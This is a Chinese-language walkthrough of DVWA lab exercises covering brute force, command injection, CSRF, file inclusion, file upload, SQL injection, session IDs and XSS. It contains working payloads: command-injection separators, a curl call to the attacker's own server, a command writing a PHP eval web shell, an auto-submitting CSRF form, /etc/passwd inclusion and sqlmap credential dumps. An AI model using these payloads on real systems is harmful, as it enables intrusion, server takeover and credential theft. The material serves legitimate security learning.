爆破(Brute Force)
原理
拿信息

常规登录界面,尝试使用"admin"、"user"类账号配合"password"、"123456"等简单密码或者直接空账号与密码"点击登录"(一般情况下不会这么简单)
联想&尝试
尝试使用BurpSuit进行抓包
发现到刚刚输入的账号与密码,尝试右击刚刚抓到的包传入Intruder模块 选择"集束炸弹攻击",添加payload位置
点击两个要攻击位置分别导入相应的.txt格式字典,最后进行攻击 尝试多次点击"状态码"、"接收到响应"、"长度"对列表重排序,观察列表

HTTP 状态码的含义是"请求是否被成功处理",而不是"业务是否成功"
200仅代表服务器接收到请求并作出返回
爆破可以试着观察 "响应内容"和"长度"
这里看到对列表长度重排列找到一下长度元素都是4932 4888 4887 4886 4851
发现4888占比较高,其余占比较低,4932组中相同账号密码,在这群列表中显得较为特殊,双击4932组中各元素并浏览html文件中的信息,发现"欢迎来到密码保护区域admin",代表爆破成功,已经成功进入admin账号界面 
爆破(Brute Force)总结
- 发现类"无验证码、无账户锁定、无多因素认证(MFA)"可以尝试使用BurpSuit或其他的网络代理工具捕获流量包进行观察分析
- 200仅代表服务器接收到请求并响应,并不代表成功进入
- 爆破可以试着观察 "响应内容 "和"长度"以及""响应时间""
- 查看爆破响应列表时观察其中占比,找出特征特殊组进行排查
真实攻击场景
命令行注入(Command Injection)
原理
拿信息
界面让我们输入一个ip地址

联想&尝试
我们可以试试输入"127.0.0.1"、"baidu.com"、"本机ip地址"等先观察正常工作的样子


这里我们发现这和常规win & linux 系统命令"ping ip地址"一些相似, 但是我们目前并不知道对面服务器是win系统还是linux系统,这时候可以试着进行简单盲注测试
先低成本尝试通过" ; "符号估测一下系统,这里提交"127.0.0.1 ; whoami",观察响应看到两条命令均被执行
**
;**在Linux中意为 顺序执行,前面的执行完,接着执行后面的(不管前面成功失败)。Windows 的
cmd不支持;
这里大致已知服务器为Linux系统,且shell(Linux的命令行)的whoami可以被执行那么大多数指令也可以通过这种方式进行执行
命令行注入(Command Injection)总结
- 通过输入&输出可以大致推断工作原理(ping ip地址)
- 当靶机服务器系统位置时候可以尝试进行简单的"盲注测试"
- shell 和 cmd 他们对链接符的识别相似但并不相同," ; "是Linux特有可被执行的连接符,Windows 的
cmd不支持; - **
;**在Linux中意为 顺序执行,前面的执行完,接着执行后面的(不管前面成功失败)
真实攻击场景
简单拓展1
CLI
127.0.0.1 ; whoami
127.0.0.1 & whoami
127.0.0.1 && whoami
127.0.0.1 || whoami
127.0.0.1 | whoami
127.0.0.1%0awhoami
ping `whoami`
ping $(whoami)
;--分号-- 顺序执行。前面的执行完,接着执行后面的(不管前面成功失败)(Linux特有)。&--单与号-- 后台执行。把前面的命令扔到后台,立即执行后面的。&&--双与号-- 逻辑与。前面的命令执行成功,才执行后面的。|--管道符-- 把前面的输出作为后面的输入,只显示后面的结果。||--双竖线-- 逻辑或。前面的命令执行失败,才执行后面的。%0a--换行符-- URL 编码的换行,让服务器把后面的当成新的一行命令执行。- ````` --反引号-- 命令替换。把里面的命令执行结果,当作前面命令的参数(Linux特有)。
$()--命令替换-- 与反引号功能相同,但可读性高(Linux特有)。
简单拓展2
同时盲注是手段方法不止通过简单的命令行命令,以下方法也可以作为参考
| 名称 | 代码 | 验证方法 |
|---|---|---|
| 时间盲注 | Linux用127.0.0.1 & sleep 5,Windows用 ping -n 5 127.0.0.1 |
如果页面卡了 5 秒才刷新,说明命令执行了,漏洞存在,只是没回显 |
| 带外通信(OOB / DNSLog) | 127.0.0.1 & curl http://我的私人服务器.com 或者 ping 我的域名.com |
去看自己服务器的日志。如果日志里有这台目标服务器发来的请求,就说明命令成功执行了,并且目标服务器能出外网 |
| 写入 WebShell | 127.0.0.1 & echo "<?php @eval($_POST['cmd']); ?>" > /var/www/html/shell.php |
直接往网站目录里写一个木马文件。然后黑客用蚁剑等工具去连接这个 shell.php。如果能连上,就说明命令执行成功了,而且拿到了服务器的控制权 |
跨站请求伪造 (CSRF)
原理
拿信息
界面让我们输入并更改类密码
测试证书资格,界面更像是验证账号密码是否被修改

联想&尝试
打开BurpSuit进行抓包,输入新密码、二次确认密码(AAAAA),点击更改,抓取流量包
这里我们发现:
- 请求类型为GET
- 请求内容就是我们刚刚修改的密码(password_new=AAAAA&password_conf=AAAAA)
- 行为是"点击更改"(%E7%82%B9%E5%87%BB%E6%9B%B4%E6%94%B9通过url解码)
- 来源Referer: http://服务器IP/DVWA-Chinese/vulnerabilities/csrf/
放行该流量包,返回页面显示到"密码已更改.",同时我们注意到自己的URL也发生了改变
这时候登出,重新登录(admin : AAAAA),成功登录
除此在用户已经登录的情况下,点击并跳转此"拼接后的URL",密码也会被修改
拼接后的URL
http://服务器IP/DVWA-Chinese/vulnerabilities/csrf/?password_new=BBBBB&password_conf=BBBBB&Change=%E7%82%B9%E5%87%BB%E6%9B%B4%E6%94%B9
跨站请求伪造 (CSRF)总结
- CSRF是基于Cooike身份验证进行的攻击(服务器只看请求里有没有有效的 Cookie,而不问"这个请求是不是用户自愿发的")
- CSRF通过"钓鱼网站"、"跳转链接"、"图片预览"等进行实现
- CSRF一般情况下需要"用户"在已经登录且登录状态仍然有效(Cookie 未过期)的情况下进行攻击
真实攻击场景
- 构造恶意 HTML 页面:把修改密码的请求藏在一个自动提交的表单里。
- 诱导受害者访问:通过邮件、论坛、社交软件发链接。
- 自动执行:受害者打开页面的一瞬间,表单自动提交,密码被改,页面跳转到正常内容,受害者毫无察觉。
例子:一个隐藏的自动提交表单:
html
<body onload="document.forms[0].submit()">
<form action="http://服务器IP/DVWA-Chinese/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value="hacked123">
<input type="hidden" name="password_conf" value="hacked123">
<input type="hidden" name="Change" value="点击更改">
</form>
</body>
文件包含(File Inclusion)
拿信息
界面是一个互动界面,且URL具有暴露的传值"?page=include.php"
这里点击"文件2.php"文件暴露的传值"?page=include.php"会转变成"?page=file2.php"
至此,大体知道"?page=<文件>"这个,是一个明显的"文件包含"漏洞,且可用于访问文件
联想&尝试
但是目前情况下我们并不知道服务器具体有哪些文件,"www-data"存不存在我们也不知道,通常情况下我们甚至不知道对面的服务器是什么系统,为此我们得通过观察流量包 或者制造一些简单的报错来确定对面的一些具体信息
通常来说流量包会暴露服务器系统,但这里做了保护,我们看不到
Server和X-Powered-By的包头信息被隐藏
但是没关系,我们已知"?page=<文件>"可以用于访问文件,即便我们不知道具体目录,但是我们可以制造一些错误观察报错来获得一些信息
试着访问一个不存在或者你想访问的.php文件,看看服务器会有什么反应
这里观察到服务器是Linux系统大类,而非Windows,Linux系统的文件关系会用"/"表示,Windows会用"\"表示
erro
include_path='.:/usr/share/php:../../external/phpids/0.6/lib/') in /var/www/html/DVWA-Chinese/vulnerabilities/fi/index.php
同时也暴露:
- 后端是 PHP(
Warning: include())- 网站根目录(
/var/www/html/DVWA-Chinese/)- 代码位置(
index.php第 36 行)
我们要通过"?page=<文件>"这个漏洞去访问系统文件,我们可以试着访问
URL
http://192.168.10.106/DVWA-Chinese/vulnerabilities/fi/?page=/etc/passwd

其他方法
服务器本身漏洞命令行注入(Command Injection)组合利用
上面讲过"命令行注入(Command Injection)"漏洞本身存在漏洞可以访问 为此,可以通过la、cat、find等命令执行
bash
# 递归列出整个网站目录
127.0.0.1 ; ls -R /var/www/html/DVWA-Chinese/
# 查找所有配置文件
127.0.0.1 ; find /var/www/html/DVWA-Chinese/ -name "*.inc.php"
# 查找所有 .git 目录(源码泄露)
127.0.0.1 ; find /var/www/html/DVWA-Chinese/ -name ".git" -type d
大致绘制目录结构
/var/www/html/DVWA-Chinese/
├── config/
│ └── config.inc.php
├── vulnerabilities/
│ ├── exec/
│ ├── fi/
│ ├── csrf/
│ └── ...
├── .git/ ← 源码泄露!
└── php.ini ← 配置文件泄露!
通过文件包含(File Inclusion)漏洞访问
url
# 读取数据库配置
?page=/var/www/html/DVWA-Chinese/config/config.inc.php
# 用伪协议读取源码(不执行,只读)
?page=php://filter/convert.base64-encode/resource=index.php
# 读取日志文件(如果权限允许)
?page=/var/log/apache2/access.log
dirsearch
这里使用kali或者已经准备好的dirsearch脚本扫描
shell
dirsearch -u http://192.168.10.106/DVWA-Chinese/
200基本都是我们可以直接访问的文件,但是我们要通过"?page=<文件>"这个漏洞去访问系统文件
TscanPlus
dirb
gobuster
文件包含(File Inclusion)总结
- 用户可以通过控制 URL 参数(如
?page=<文件>),让服务器include(包含)任意文件。 - 界面是互动式的,一般情况下并不会明显暴露传值
?page=include.php ?page=参数可控,存在文件包含漏洞- 流量包中的
Server和X-Powered-By被隐藏时可以制造报错或者一个不存在的文件获取信息(如?page=AAAAA.php) - 结合命令行注入,可以先侦察目录结构,再用文件包含精准读取文件。这条组合攻击链是真实渗透中最常用的实战手段。
任意文件上传(File Upload)
拿信息
图示需要我们上传一个图像文件 (但是我们真的要上传一个图像文件吗?我想不是) 
联想&尝试
我们可以试着上传一个违背规则的文件(.php、.txt等)看看
php
// 此为php探针,用来探测目标服务器的环境信息,用于暴露
<?php phpinfo();?>
AAAAA.txt
AAAAA.php
我们也得到了文件所在的路径,我们访问以当前网页的根目录并进行拼接,同时说明服务器没有做后缀白名单校验
url
// <DVWA根目录>/hackable/uploads/AAAAA.php)
http://192.168.10.106/DVWA-Chinese/hackable/uploads/AAAAA.txt
// 或
http://192.168.10.106/DVWA-Chinese/hackable/uploads/AAAAA.php
其实到这就算通关了,以下还有一些拓展方式
中国菜刀
蚁剑AntSword
使用蚁剑链接我们需要上传一句话木马
php
// 密码就是cmd
<?php @eval($_POST['cmd']); ?>
在弹出窗口中填入并点击"测试链接",链接成功后"添加",并双击或右击点击"文件管理"就能看到我们刚刚上传的文件
AntSword
http://192.168.10.106/DVWA-Chinese/hackable/uploads/AAAAA.php
cmd

冰蝎
任意文件上传(File Upload)总结
- 任意文件上传漏洞通常指攻击者能够利用Web应用的上传功能,将恶意文件(如WebShell、木马、病毒等)上传到服务器,并使其被服务器解析执行或对系统造成其他危害的安全漏洞
- 应用对用户上传的文件校验不严,且服务器对上传目录的文件解析控制不当
- 是经典的php探针
- 一句话木马的形式表现为
不安全的验证码(Insecure CAPTCHA)
数据库注入(SQL Injection)
拿信息
看界面知道,我们可以提交用户ID
提分别交"1"、"AAAAA"和?id=1' OR 1=1查看结果 "1"查询道信息
"AAAAA"无响应
?id=1' OR 1=1明显报错(数据库注入漏洞表现,并没有当作ID而直接当作代码执行) 可以试试AND 1=1 / AND 1=2的对照 
联想&尝试
使用kali中的sqlmap或者你自己的下载的sqlmap脚本,记录一下自己burpsuit抓包的cooike 
步骤
1.sqlmap简单注入尝试 --batch:
bash
sqlmap -u "http://10.22.52.18/DVWA-Chinese/vulnerabilities/sqli/" \
--data="id=1&Submit=Submit" \
--cookie="PHPSESSID=sgqk1ka0r6bob3k6v0e0es2if7; security=low" \
--batch
--flush-session可以重复忽略上次记录进行扫描
我们看到sqlmap列出的一些可注入方案以及数据库和系统的一些信息 
信息
1.探测到的注入类型:
截图列出了四种可用的注入技术(Type):
Boolean-based blind(布尔盲注)
Error-based(报错注入)
Time-based blind(时间盲注)
UNION query(联合查询,这是最方便提取数据的类型)
2.获取了底层环境信息:
数据库类型:MySQL
操作系统:Linux Ubuntu
Web服务器:Apache 2.4.58
后端 DBMS 版本:MySQL >= 5.0 (MariaDB fork)
进行注入操作
2.查所有数据库 --dbs
bash
sqlmap -u "http://10.22.52.18/DVWA-Chinese/vulnerabilities/sqli/" \
--data="id=1&Submit=Submit" \
--cookie="PHPSESSID=sgqk1ka0r6bob3k6v0e0es2if7; security=low" \
--dbs

3.查当前数据库的表 -D <数据库名> --tables
bash
sqlmap -u "http://10.22.52.18/DVWA-Chinese/vulnerabilities/sqli/" \
--data="id=1&Submit=Submit" \
--cookie="PHPSESSID=sgqk1ka0r6bob3k6v0e0es2if7; security=low" \
-D dvwa --tables

4.查 users 表的字段 -D <数据库名> -T <指定表字段> --columns
--columns:枚举该表的所有列(字段)
ini
sqlmap -u "http://10.22.52.18/DVWA-Chinese/vulnerabilities/sqli/" \
--data="id=1&Submit=Submit" \
--cookie="PHPSESSID=sgqk1ka0r6bob3k6v0e0es2if7; security=low" \
-D dvwa -T users --columns

5.导出账号密码 -D <数据库名> -T <指定表字段> -C <指定要导出的列1>、<指定要导出的列2+> --dump
-C:指定要导出的列
--dump:把数据导出并打印出来
ini
sqlmap -u "http://10.22.52.18/DVWA-Chinese/vulnerabilities/sqli/" \
--data="id=1&Submit=Submit" \
--cookie="PHPSESSID=sgqk1ka0r6bob3k6v0e0es2if7; security=low" \
-D dvwa -T users -C user,password --dump

注入成功
数据库注入(SQL Injection)总结
- URL 参数不等于漏洞
- 出现
?id=<值>时,通常代表具有"潜在的"注入点 ?id=1' OR 1=1是大多数情况下比较通用的手段- 传入
?id=1' OR 1=1或?id=<值>并提交时产生异常时通常具有漏洞特征 - 基础指令:
bash
sqlmap -u "http://目标IP/dvwa/vulnerabilities/sqli/" \
--data="id=1&Submit=Submit" \
--cookie="PHPSESSID=你的会话ID; security=low" \
--batch
注入步骤为:
1.sqlmap简单注入尝试 --batch
2.查所有数据库 --dbs
3.查当前数据库的表 -D <数据库名> --tables
4.查 users 表的字段 -D <数据库名> -T <指定表字段> --columns
5.导出账号密码 -D <数据库名> -T <指定表字段> -C <指定要导出的列1>、<指定要导出的列2+> --dump
数据库盲注(SQL Injection (Blind))
拿信息
再次我们先了解一下什么是盲注?
- 页面不显示查询结果;
- 页面不显示数据库报错;
- 但注入确实生效了。
界面和数据库注入漏洞题目相似
提交"1"、"AAAAA"、"?id=1' OR 1=1"提交后响应分别显示"包含此ID"、"不包含此ID"、直接报错,但这些不属于盲注
我们可以试着以三种主流的盲注手法
布尔盲注
时间盲注
报错盲注
弱会话ID(Weak Session IDs)
先了解
-
HTTP 是无状态的: 你访问一个网站,输入账号密码登录了。但 HTTP 协议本身不记得你是谁。你点击下一个页面,服务器按理说就不认识你了。
-
Session 的作用: 为了让服务器"记住"你,网站在你登录成功后,会在服务器端开辟一块内存空间(这就是 Session),专门存放你的信息(比如:
用户名=admin,是否登录=true)。 -
Session ID 的作用: 服务器怎么知道这块内存是属于你的呢?它会在你登录时,发给你一个唯一的编号,这就是 Session ID。以后你每次发请求,浏览器都会自动带上这个 ID。服务器一看 ID,就能找到对应的 Session,从而知道你是谁。
一个安全 的 Session ID 应该是极度随机的,长这样:f3a9b2c8e1d74f6a0b5c...。哪怕你抓包抓一万次,你也猜不出下一个人的 ID 是什么。
一个弱的 Session ID,就是生成算法太简单,导致具有规律性。比如:
- 递增/递减: 你的 ID 是 100,下一个人的 ID 绝对是 101。
- 基于时间戳: ID 就是当前的毫秒数。
- 基于弱随机数: 比如用简单的
rand(1, 100),容易被暴力破解。 - 基于用户信息: 比如用
md5(用户名)。
Session ID 本身会出现在流量里
有些框架会把 Session 数据加密后存在 Cookie 里(客户端 Session )
拿信息(AAAAA烂掉了AAAAA)
查看原代码没有查看到明显的 PHP 代码 F12进入开发者模式,点击 应用(application) 中的Cookies并点击页面中的生成一个Session ID值为1,尝试多次点击生成,Session ID值递增
这里尝试BurpSuit抓包,将Session ID值修改为27(之前是26)并放行,重新回到页面点击生成,生成还是27 
DOM型跨站脚本攻击(XSS (DOM))
拿信息
界面中我们可以选择多种语言,
每提交一次不同的语言,?default=后的值发生改变
我们在URL在中尝试修改一下?default=后的值并跳转看看呢,我们将AAAAA写入值,发现语言的选择被改变为AAAAA 
你可能会想,这好像和sql注入有点像哎(但是显然不是,在我们提交
1' OR 1=1、1 OR 1=1这种简单的注入并跳转并没有报错且仅仅只是选择语言的值发生了变化)
恶意载荷往往通过URL的片段标识符(#)传递,而#后面的内容浏览器根本不会发送给服务器#是片段标识符,它后面的内容不会出现在 HTTP 请求里怎么看 :如果在一个页面的URL里尝试添加
#<script>alert(1)</script>,页面执行了弹窗,但你通过抓包工具(如Burp Suite)看HTTP请求,发现请求里只有干净的URL,没有<script>标签,这基本就是DOM型XSS的特征
联想&尝试
在URL中修改?default=后的值为#<script>alert(1)</script>并开启BurpSuite的代理并跳转链接,查看抓取的流量包看到?default=后的值是空的没有我们添加的#<script>alert(1)</script>
放行流量包,查看浏览器跳转,显示明显响应弹窗XSS-DOM存在 
DOM型跨站脚本攻击(XSS (DOM))总结
- XSS-DOM依赖浏览器URL的js代码前端传参
- 某些XSS-DOM漏洞会表现的像sql注入的传参形式但是响应不同
#是片段标识符,它后面的内容不会出现在 HTTP 请求里- 怎么看 :如果在一个页面的URL里尝试添加
#<script>alert(1)</script>,页面执行了弹窗,但你通过抓包工具(如Burp Suite)看HTTP请求,发现请求里只有干净的URL,没有<script>标签,这基本就是DOM型XSS的特征 <script>...</script>:是告诉浏览器"这是可执行脚本,而这段代码的整体都可以被替换成任意恶意(/具有攻击性)脚本
反射型XSS(Reflected Cross Site Scripting)
先了解
反射型XSS的本质是:你发送的请求中包含了恶意代码,经过了服务器但没有存储它,而是直接把它"原样"嵌入到了返回的HTML页面里,浏览器随即执行。
拿信息
提交AAAAA,看到响应"你好 AAAAA"同时URL发生变化
我们尝试在#后加上脚本发现实时并不会像XSS-DOM那样,弹出一个窗口,包含我们脚本的内容,我们看到的真实情况是除了URL改变了界面没有任何响应和改变
联想&尝试
以上我们了解了:
反射型XSS的本质是:你发送的请求中包含了恶意代码,经过了服务器但没有存储它,而是直接把它"原样"嵌入到了返回的HTML页面里,浏览器随即执行。
而且在XSS-DOM中我们也了解过:
#是片段标识符,它后面的内容不会出现在 HTTP 请求里
以及DOM-XSS特征:
如果在一个页面的URL里尝试添加
#<script>alert(1)</script>,页面执行了弹窗,但你通过抓包工具(如Burp Suite)看HTTP请求,发现请求里只有干净的URL,没有<script>标签,这基本就是DOM型XSS的特征
这里面唯一的区别就是:URL中脚本在#前还是后
#后的情况我们试过了,#前的情况还没有,这里两个提交窗口或URL里任选一个位置都可以
提交或跳转链接,成功!XSS-Reflected存在?
真的吗?进一步验证XSS-Reflected存在我们需要观察流量包的请求与响应,打开Burp Suite代理抓包观察,将抓取到的流量包传入重放器(Repeater),请求头中脚本存在,响应包的脚本被写入,XSS-Reflected存在! 
反射型XSS(Reflected Cross Site Scripting)总结
- 反射型XSS的本质是:你发送的请求中包含了恶意代码,经过了服务器但没有存储它,而是直接把它"原样"嵌入到了返回的HTML页面里,浏览器随即执行。
- XSS-DOM和XSS-Reflected最明显的区别就是URL中脚本在
#前还是后 - 验证XSS-Reflected存在我们需要观察流量包的请求与响应
存储型XSS(Stored Cross Site Scripting)
先了解
存储型XSS的本质是:你把恶意代码提交给服务器,服务器把它保存进数据库或文件,之后任何用户访问包含这段内容的页面时,服务器都会把恶意代码当作"正常内容"输出,浏览器随即执行。
通常具有以下特点:注入点与触发点分离:你在一处输入(如评论框),恶意代码在另一处(如评论列表页)执行。
不需要构造特殊URL:只要访问那个"被污染"的页面,脚本就会自动执行。
影响所有访问者:不只是你自己,任何看到这条内容的用户都会触发。
拿信息
两块可以填入信息的"块"
分别填入"AAAAA"并签名 Guestbook看到响应,清除 Guestbook
分别填入脚本,观察到名字被限制,我们先这样同时开启BurpSuite进行抓包提交看看消息中的脚本会不会被服务器存储
js
<script>alert(999)</script>
界面我们看到了用户、消息以及Guestbook的签名,响应界面也看到了了消息和脚本似乎也被写入html中了
放行流量包,查看界面的真实响应,有响应但是没跳转,没有显示我们脚本的信息,仅仅在下面显示了一个空白的消息块(排除了消息块存在XSS-Stored漏洞) 
联想&尝试
尝试先从前端中进行修改,让名字的长度自由,右击检查名字的块,在代码上看到,这个块在前端输入框被做了长度限制,将maxlength="10"修改为maxlength="999",重新粘贴脚本,在签名前开启BurpSuite进行抓包
js
<script>alert(999)</script>
我们看到,名字块的脚本被以URL编码的形式完整的作为请求包发送,响应中的html界面也被完整写入脚本
我们放行流量包,响应!同时我们复制当前URL,在浏览器中开启新标签页or换一个浏览器访问URL,还会弹出相同的窗口(登出账号访问专题板块也是相同效果,得清除签名),消息快存在XSS-Stored漏洞! 
存储型XSS(Stored Cross Site Scripting)总结
- XSS-Stored漏洞定义:你把恶意代码提交给服务器,服务器把它保存进数据库或文件,之后任何用户访问包含这段内容的页面时,服务器都会把恶意代码当作"正常内容"输出,浏览器随即执行
- XSS-Stored脚本经过服务器且被服务器存储
- XSS-Stored漏洞的验证最重要需要一个新的浏览器或标签界面去访问验证
- XSS-Stored具有以下特点
-
- 注入点与触发点分离:你在一处输入(如评论框),恶意代码在另一处(如评论列表页)执行。
-
- 不需要构造特殊URL:只要访问那个"被污染"的页面,脚本就会自动执行。
-
- 影响所有访问者:不只是你自己,任何看到这条内容的用户都会触发。
绕过内容安全策略 (CSP Bypass)(AAAAA烂了AAAAA)
先了解
CSP-Bypass本身不是一个"攻击类型",而是一种防御机制被攻破的迹象 。它的"表现形式"很隐蔽,核心特征是:你原本以为会被 CSP 拦住的恶意代码,居然成功执行了。
拿信息
直接输入脚本代码include,页面无响应、URL无变化
尝试抓包将抓取的包转入重放器,查看响应包,注意到Content-Security-Policy(内容安全策略,简称 CSP)
这个包头含3个值,告诉浏览器:只允许执行来自以下来源的 JavaScript 代码:
'self':当前网站自己(也就是10.22.52.18)。https://pastebin.com和hastebin.com:这两个是著名的在线文本分享/代码粘贴网站。example.com、code.jquery.com、https://ssl.google-analytics.com:其他白名单。
https://pastebin.com和hastebin.com两个网站目前出了问题
这里没法去操作只能直接演示,目前只能烂
JS攻击(JavaScript Attacks)
先了解
JS可能不注入新脚本,而是篡改现有脚本的行为 ,或者利用JavaScript语言本身的特性 来达到攻击目的,观察页面行为是否与预期不符往往是判断是否存在JS攻击的关键,(页面可能看起来完全正常,但底层逻辑已经被悄悄改写)
一般可以从以下角度观察:1. 表单提交的数据与输入的不一致
你明明输入的是"100元",提交后却变成了"1元";或者你填写的收货地址,在提交瞬间被替换成了攻击者的地址。这种"偷梁换柱"是典型的JS攻击表现。
2. 代码行为被"劫持"
攻击者可以通过修改JavaScript的原型(Prototype)来影响所有对象的行为。比如,一个原本用于验证用户权限的函数,可能因为
Object.prototype被污染,导致所有用户都被判定为"管理员"。
- 怎么看 :在控制台(Console)里输入
Object.prototype,展开查看里面是否有奇怪的属性(比如pollutedProperty、isAdmin等)。如果你没有主动设置过这些属性,但它们却存在,就说明原型可能被污染了。3. 页面加载了"意料之外"的脚本
这是最直接的一种表现。页面源代码里,或者运行时动态加载的脚本中,出现了你从未引入过的第三方脚本,尤其是那些试图访问表单、支付字段的脚本。
- 怎么看 :在 Network 面板中,筛选"JS"类型的请求。检查每一个脚本的来源域名,看看是否有陌生或可疑的域名。同时,可以在 Elements(元素)面板中搜索
<script>标签,看是否有被动态注入的脚本。
常见表现形式:原型链污染(Prototype Pollution)
这是JavaScript特有的漏洞类型。攻击者通过
__proto__或constructor.prototype向全局对象原型注入属性。在浏览器地址栏或输入框尝试?__proto__[testProp]=testValue,然后在控制台运行console.log(Object.prototype.testProp)。如果输出了testValue,说明存在原型污染。客户端模板注入(CSTI)
当用户输入被当作模板的一部分来渲染时,攻击者可以注入模板表达式。在输入框尝试
{{7*7}},如果页面渲染出了49,而不是原样显示{{7*7}},说明存在客户端模板注入漏洞。第三方脚本篡改(供应链攻击)
攻击者可能通过入侵你信任的第三方服务(如CDN、聊天机器人插件),在其提供的脚本中植入恶意代码。这种攻击通常表现为脚本在运行时才显现恶意行为,静态审查很难发现。
拿信息
图片要求我们提交success,但是我们提交显示"无效的token" 